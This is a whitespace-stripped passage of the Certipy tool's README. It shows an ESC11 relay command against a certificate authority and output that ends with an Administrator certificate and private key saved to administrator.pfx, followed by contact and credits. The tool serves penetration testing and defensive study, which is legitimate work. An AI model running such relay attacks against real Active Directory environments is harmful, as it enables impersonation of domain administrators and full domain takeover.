DomainController.$certipyrelay-target'rpc://ca.corp.local'-ca'corp-ca'Certipyv4.7.0-byOliverLyak(ly4k)[*]Targetingrpc://ca.corp.local(ESC11)[*]Listeningon0.0.0.0:445[*]Connectingtoncacn_ip_tcp:ca.corp.local[135]todetermineICPRstringbinding[*]Attackinguser'Administrator@CORP'[*]Templatewasnotdefined.DefaultingtoMachine/User[*]Requestingcertificateforuser'Administrator'withtemplate'User'[*]RequestingcertificateviaRPC[*]Successfullyrequestedcertificate[*]RequestIDis1[*]GotcertificatewithUPN'Administrator@corp.local'[*]CertificateobjectSIDis'S-1-5-21-980154951-4172460254-2779440654-500'[*]Savedcertificateandprivatekeyto'administrator.pfx'[*]Exiting...ContactPlease submit any bugs, issues, questions, or feature requests under "Issues" or send them to me on Twitter@ly4k_.CreditsWill SchroederandLee ChristensenforCertified Pre-OwnedandCertifyDirk-janforPKINITtoolsShutdownRepoforPyWhiskerzer1t0forcertiEx Android DevandTw1smfor Impacket'sadcsattack.pySecureAuthCorpand all thecontributorsforImpacketskelsecforpypykatz